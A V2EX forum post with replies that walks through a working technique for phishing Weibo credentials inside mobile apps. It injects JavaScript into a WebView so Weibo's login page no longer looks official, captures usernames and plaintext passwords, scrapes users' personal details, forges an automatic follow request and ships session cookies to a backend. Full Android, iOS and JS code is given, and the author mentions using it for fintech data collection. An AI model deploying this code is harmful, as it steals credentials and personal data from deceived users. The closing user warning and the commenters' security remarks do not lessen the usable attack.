V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
p2pCoder
V2EX  ›  程序员

app 端用户信息抓取-微博

  •  
  •   p2pCoder ·
    zgbgx · 2018-02-07 08:40:35 +08:00 · 5890 次点击
    这是一个创建于 2489 天前的主题,其中的信息可能已经有所发展或是发生改变。

    github 地址

    项目目标

    在 app(ios 和 android)端使用 webview 组件与 js 进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号。

    传统爬虫模式的局限

    传统爬虫模式,让用户在客户端在输入账号密码,然后传送到后端进行登录,爬取信息,这种方式将要面对各种人机验证措施,加密方法复杂的情况下,还得选择 selenium,性能更无法保证。同时,对于个人账户,安全措施越来越严,使用代理 ip 进行操作,很容易造成异地登录等问题,代理 ip 也很可能在全网被重复使用的情况下,被封杀,频繁的代理 ip 切换也会带来需要二次登录等问题。 所以这两年年来,发现市面上越来越多的提供 sdk 方式的数据提供商,经过抓包及反编译 sdk,发现其大多数使用 webview 载入第三方页面的方式完成登录,有的在登录完成之后,获取 cookie 传送到后端完成爬取,有的直接在 app 内完成所需信息的收集。

    登录

    这是微博移动端登录页 weibo 原移动端登录页.png 首先使用 JavaScript 串改当前页面元素,让用户没法意识到这是微博官方的登录页。

    载入页面

    android

    webView.loadUrl(LOGINPAGEURL);
    

    iOS

    [self requestUrl:self.loginPageUrl];
    //请求 url 方法
    -(void) requestUrl:(NSString*) urlString{
        NSURL* url=[NSURL URLWithString:urlString];
        NSURLRequest* request=[NSURLRequest requestWithURL:url];
        [self.webView loadRequest:request];
    }
    

    js 代码注入

    首先我们注入 js 代码到 app 的 webview 中 android

    private void injectScriptFile(String filePath) {
            InputStream input;
            try {
                input = webView.getContext().getAssets().open(filePath);
                byte[] buffer = new byte[input.available()];
                input.read(buffer);
                input.close();
                // String-ify the script byte-array using BASE64 encoding
                String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
                String funstr = "javascript:(function() {" +
                        "var parent = document.getElementsByTagName('head').item(0);" +
                        "var script = document.createElement('script');" +
                        "script.type = 'text/javascript';" +
                        "script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +
                        "parent.appendChild(script)" +
                        "})()";
                execJsNoReturn(funstr);
            } catch (IOException e) {
                Log.e(TAG, "injectScriptFile: " + e);
            }
        }
    

    iOS

    //注入 js 文件
    - (void) injectJsFile:(NSString *)filePath{
        NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
        NSData *data=[NSData dataWithContentsOfFile:jsPath];
        NSString *responData =  [data base64EncodedStringWithOptions:0];
        NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\
                         var parent = document.getElementsByTagName('head').item(0);\
                         var script = document.createElement('script');\
                         script.type = 'text/javascript';\
                         script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\
                         parent.appendChild(script)})()",responData];
        [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
            
        }];
    }
    

    我们都采用读取 js 文件,然后 base64 编码后,使用 window.atob 把其做为一个脚本注入到当前页面(注意:window.atob 处理中文编码后会得到的编码不正确,需要使用 ecodeURIComponent escape 来进行正确的校正。) 在这里已经使用了 app 端,调用 js 的方法来创建元素。

    app 端调用 js 方法

    android 端:

    webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
                @Override
                public void onReceiveValue(String s) {
    
                }
    
            });
    

    ios 端:

    [self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
            
        }];
    

    这两个方法可以获取返回值,正因为如此,可以使用 js 提取页面信息后,返回给 webview,然后收集信息完成之后,汇总进行通信。

    js 串改页面

    //串改页面元素,让用户以为是授权登录
    function getLogin(){
     var topEle=selectNode('//*[@id="avatarWrapper"]');
     var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
     topEle.remove(imgEle);
     var returnEle=selectNode('//*[@id="loginWrapper"]/a');
     returnEle.className='';
     returnEle.innerText='';
     pEle=selectNode('//*[@id="loginWrapper"]/p');
     pEle.className="";
     pEle.innerHTML="";
     footerEle=selectNode('//*[@id="loginWrapper"]/footer');
     footerEle.innerHTML="";
     var loginNameEle=selectNode('//*[@id="loginName"]');
     loginNameEle.placeholder="请输入用户名";
     var buttonEle=selectNode('//*[@id="loginAction"]');
     buttonEle.innerText="请进行用户授权";
     selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
     selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
     selectNode('//*[@id="loginAction"]').className="btn";
     selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
     return window.webkit;
    }
    function transPortUnAndPw(){
     username=selectNode('//*[@id="loginName"]').value;
     pwd=selectNode('//*[@id="loginPassword"]').value;
     window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
    }
    

    使用 js 修改页面元素,使之看起来不会让人发觉这是 weibo 官方的页面。 修改后的页面如图: 修改后登录页面.png

    串改登录点击事件,获取用户名密码

    selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
    function transPortUnAndPw(){
      username=selectNode('//*[@id="loginName"]').value;
      pwd=selectNode('//*[@id="loginPassword"]').value;
      window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
    }
    

    同时串改登录点击按钮,通过 js 调用 app webview 的方法,把用户名和密码传递给 app webview 完成信息收集。

    js 调用 webview 的方法

    android 端:

    // js 代码
    window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
    //Java 代码
    webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
    public class WeiboJsInterface {
            @JavascriptInterface
            public void getPwd(String returnValue) {
                try {
                    unpwDict = new JSONObject(returnValue);
                } catch (JSONException e) {
                    e.printStackTrace();
                }
            }
        }
    

    android 通过实现一个 @JavaScriptInterface 接口,把这个方法添加类添加到 webview 的浏览器内核之上,当调用这个方法时,会触发 android 端的调用。 ios 端:

    //js 代码
    window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
    //oc 代码
    WKUserContentController *userContentController = [[WKUserContentController alloc] init];
     [userContentController addScriptMessageHandler:self name:@"getInfo"];
    
    - (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
    {
        
        self.unpwDict=[self getReturnDict:message.body];
    }
    

    ios 方式,实现方式与此类似,不过由于我对 oc 以及 ios 开发不熟悉,代码运行不符合期望,希望专业的能指正。

    个人信息获取

    直接提取页面的难点

    webview 这个组件,无论是在 android 端 onPageFinished 方法还是 ios 端的 didFinishNavigation 方法,都无法正确判定页面是否加载完全。所以对于很多页面,还是选择走接口

    请求接口

    本项目中,获取用户自己的微博,关注,和分析,都是使用接口,拿到预览页,直接解析数,对于关键的参数,需要仔细抓包获取 抓包 1.png 仔细分析 “我”这个标签下的请求情况,发现 https://m.weibo.cn/home/me?format=cards 这个链接包含用户核心数据,通过这个请求,获取核心参数,然后,获取用户的微博 关注 粉丝的预览页面。 然后通过

    JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))
    

    获取 json 字符串,并传到 app 端进行解析。 解析及多次请求的逻辑

    请求页面

    也有页面,如个人资料,页面较简单,可以使用 js 提取

    js 代码

    function getPersonInfo(){
      var name=selectNodeText('//*[@id="J_name"]');
      var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
      var location=selectNodeText('//*[@id="J_location"]');
      var year=selectNodeText('//*[@id="year"]/option[@selected]');
      var month=selectNodeText('//*[@id="month"]/option[@selected]');
      var day=selectNodeText('//*[@id="day"]/option[@selected]');
      var email=selectNodeText('//*[@id="J_email"]');
      var blog=selectNodeText('//*[@id="J_blog"]');
      if(blog=='输入博客地址'){
        blog='未填写';
      }
      var qq=selectNodeText('//*[@id="J_QQ"]');
      if(qq=='QQ 帐号'){
        qq="未填写";
      }
      birthday=year+'-'+month+'-'+day;
      theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
      return JSON.stringify({'personInfomation':theDict});
    }
    

    由于 webview 不支持 $x 的 xpath 写法,为了方便,使用原生的 XPathEvaluator, 实现了特定的提取。

    function selectNodes(sXPath) {
      var evaluator = new XPathEvaluator();
      var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
      if (result != null) {
        var nodeArray = [];
        var nodes = result.iterateNext();
        while (nodes) {
          nodeArray.push(nodes);
          nodes = result.iterateNext();
        }
        return nodeArray;
      }
      return null;
    };
    //选取子节点
    function selectChildNode(sXPath, element) {
      var evaluator = new XPathEvaluator();
      var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
      if (newResult != null) {
        var newNode = newResult.iterateNext();
        return newNode;
      }
    }
    
    function selectChildNodeText(sXPath, element) {
      var evaluator = new XPathEvaluator();
      var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
      if (newResult != null) {
        var newNode = newResult.iterateNext();
        if (newNode != null) {
          return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
        } else {
          return "";
        }
      }
    }
    
    function selectChildNodes(sXPath, element) {
      var evaluator = new XPathEvaluator();
      var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
      if (newResult != null) {
        var nodeArray = [];
        var newNode = newResult.iterateNext();
        while (newNode) {
          nodeArray.push(newNode);
          newNode = newResult.iterateNext();
        }
        return nodeArray;
      }
    }
    
    function selectNodeText(sXPath) {
      var evaluator = new XPathEvaluator();
      var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
      if (newResult != null) {
        var newNode = newResult.iterateNext();
        if (newNode) {
          return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
        }
        return "";
      }
    }
    function selectNode(sXPath) {
      var evaluator = new XPathEvaluator();
      var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
      if (newResult != null) {
        var newNode = newResult.iterateNext();
        if (newNode) {
          return newNode;
        }
        return null;
      }
    }
    

    自动关注用户

    由于个人微博页面 onPageFinished 与 didFinishNavigation 这两个方法无法判定页面是否加载完全, 为了解决这个问题,在 android 端,使用拦截 url,判定页面加载图片的数量来确定,是否,加载完全

    //由于页面的正确加载 onPageFinieshed 和 onProgressChanged 都不能正确判定,所以选择在加载多张图片后,判定页面加载完成。
                //在这样的情况下,自动点击元素,完成自动关注用户。
                @Override
                public void onLoadResource(WebView view, String url) {
                    if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                        newIndex++;
                        if (newIndex == 5) {
                            webView.post(new Runnable() {
                                @Override
                                public void run() {
                                    injectJsUseXpath("autoFocus.js");
                                    execJsNoReturn("autoFocus();");
                                }
                            });
                        }
                    }
                    super.onLoadResource(view, url);
                }
    

    js 自动点击

    function autoFocus(){
      selectNode('//span[@class="m-add-box"]').click();
    }
    

    在 ios 端,使用访问接口的方式 抓包 2.png 除了目标用户的 id 外,还有一个 st 字符串,通过 chrome 的 search,定位,然后通过 js 提取

    function getSt(){
      return config['st'];
    }
    

    然后构造 post,请求,完成关注

    - (void) autoFocus:(NSString*) st{
        //Wkwebview 采用 js 模拟完成表单提交
        NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \
                         var form = document.createElement(\"form\"); \
                         form.setAttribute(\"method\", method); \
                         form.setAttribute(\"action\", path); \
                         for(var key in params) { \
                         if(params.hasOwnProperty(key)) { \
                         var hiddenField = document.createElement(\"input\");\
                         hiddenField.setAttribute(\"type\", \"hidden\");\
                         hiddenField.setAttribute(\"name\", key);\
                         hiddenField.setAttribute(\"value\", params[key]);\
                         form.appendChild(hiddenField);\
                         }\
                         }\
                         document.body.appendChild(form);\
                         form.submit();\
                         }\
                         post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
        [self execJsNoReturn:jsStr];
    }
    

    ios WkWebview 没有 post 请求,接口,所以构造一个表单提交,完成 post 请求。 完成,一个自动关注,当然,构造一个用户 id 的列表,很简单就可以实现自动关注多个用户。

    关于 cookie

    如果需要爬取的数据量大,可以选择爬取少量关键信息后,把 cookie 传到后端处理 android 端 cookie 处理

    CookieSyncManager.createInstance(context);  
    CookieManager cookieManager = CookieManager.getInstance(); 
    

    通过 cookieManage 对象可以获取 cookie 字符串,传送到后端,继续爬取

    ios 端 cookie 处理

    NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;
    

    处理方式与 android 端类似。

    总结

    对于数据工程师来说,webview 有点类似于 selenium,但是运行在服务端的 selenium,有太多的局限性。webview 的在客户端运行,就像一个用户就是一台肉机。 以 webview 为基础,使用 app 收集信息加以利用,现阶段大多数人都还没意识到,但是,市场上的产品已经越来越多,特别是那些对数据有特殊需要的各种金融机构。 对于普通用户来说,不要轻易在一个 app 上登录第三方账户,信息泄露,财产损失,在按下登录或者本例中的假装授权后,都是不可避免的。

    18 条回复    2018-02-07 17:24:51 +08:00
    rogwan
        1
    rogwan  
       2018-02-07 08:52:23 +08:00 via Android   ❤️ 3
    文章最后的提示很有意义,以前可以看网址判断是否钓鱼,现在 APP 传来一个授权页,用户很难判断是否钓鱼页面。
    Nick2VIPUser
        2
    Nick2VIPUser  
       2018-02-07 08:55:05 +08:00 via iPhone
    给楼主点赞,有空尝试一下😊😊
    p2pCoder
        3
    p2pCoder  
    OP
       2018-02-07 09:20:05 +08:00
    @rogwan 如果是服务端 拿到了账号密码,还有一些安全机制来防护,这种方式,就相当于,完全暴露了,也省去了很多成本。
    hotfarm
        4
    hotfarm  
       2018-02-07 09:23:56 +08:00
    微博的输密码式的第三方登录确实容易被利用
    peterpei
        5
    peterpei  
       2018-02-07 09:25:34 +08:00 via Android
    6
    LeungJZ
        6
    LeungJZ  
       2018-02-07 09:26:27 +08:00
    支持楼主。
    确实需要留个心眼了。
    Level5
        7
    Level5  
       2018-02-07 09:32:02 +08:00
    赞一个.但不够通俗啊!部分代码非 IOS\android 的看不懂.
    p2pCoder
        8
    p2pCoder  
    OP
       2018-02-07 09:37:41 +08:00
    @Level5 要做这个的确需要些基础,android ios js,最好还有爬虫经验,
    我 android ios 都不是很熟,代码还有待改进
    如果会 selenium,可以用 selenium 的思想来看
    p2pCoder
        9
    p2pCoder  
    OP
       2018-02-07 09:39:44 +08:00
    @Level5 东西涉及的多,讲的也不清,想多了解,还是看源码吧
    rogwan
        10
    rogwan  
       2018-02-07 09:47:57 +08:00 via Android
    @p2pCoder 是的,现在服务端至少密码现在基本都是加密数据,sha256 以上的密级拿到了也没用,这个可是直接拿明文
    Applenice
        11
    Applenice  
       2018-02-07 09:54:12 +08:00
    唔。。谢谢楼主~点赞
    hg
        12
    hg  
       2018-02-07 11:13:46 +08:00
    移动端太多这种缺陷了,不说普通人,我们自己就算意识到当前的操作有问题,也有时候会懒到无所谓,对于这种直接放弃。
    whwq2012
        13
    whwq2012  
       2018-02-07 11:34:27 +08:00
    star 了,有时间仔细拜读下
    p2pCoder
        14
    p2pCoder  
    OP
       2018-02-07 12:32:06 +08:00
    @hg 比起 app,还是浏览器 网页 更靠谱
    PythoneerDev6
        15
    PythoneerDev6  
       2018-02-07 16:29:10 +08:00
    1、补充一点,我推荐直接 console.log 打印这些信息,同时重写 WebViewChromeClient 的 onConsoleMessage,拿到这些数据。

    2、这种方式仅限于网页形式的授权, 如果用户安装 Weibo 照样还是会通过 scheme 跳转到 WeiBo 授权组件来处理。这时候就没法拿到这些信息了。
    p2pCoder
        16
    p2pCoder  
    OP
       2018-02-07 16:41:31 +08:00
    @PythoneerDev6 感谢指导,对于 app 端开发我也不是很熟
    还有这个 安装 weibo app 后,会通过 scheme 来跳转 Weibo 授权组件应该怎么理解?
    我安装了 weibo app,并没有 跳转到 weibo app。
    还有这个项目使用的移动端的,也可以串改 pc 端页面,留存输入框来让用户输入账号密码登录。
    PythoneerDev6
        17
    PythoneerDev6  
       2018-02-07 17:21:14 +08:00
    @p2pCoder 之所以能注入 js,是因为移动端的 App 通过通过 WebView 来加载授权 H5 页面,所以无论如何都能拿到这些信息。 其次,没太理解你说的修改 pc 端页面是什么意思。 sheme 跳转你可以理解为 App1 跳转到 App2 处理完数据之后回调给 App 1,类似就有一些市面上的 App 进行微信登录。 也可以理解为进程间通信。
    p2pCoder
        18
    p2pCoder  
    OP
       2018-02-07 17:24:51 +08:00
    @PythoneerDev6 app 间通信我知道,但是对于这个项目本身没啥影响吧,这就是给没有权限的 app 去抓取数据的
    我是 互金行业的,现阶段主要利用这种机制去获取 需要用户登录授权的关键建模元数据
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2209 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 01:11 · PVG 09:11 · LAX 17:11 · JFK 20:11
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.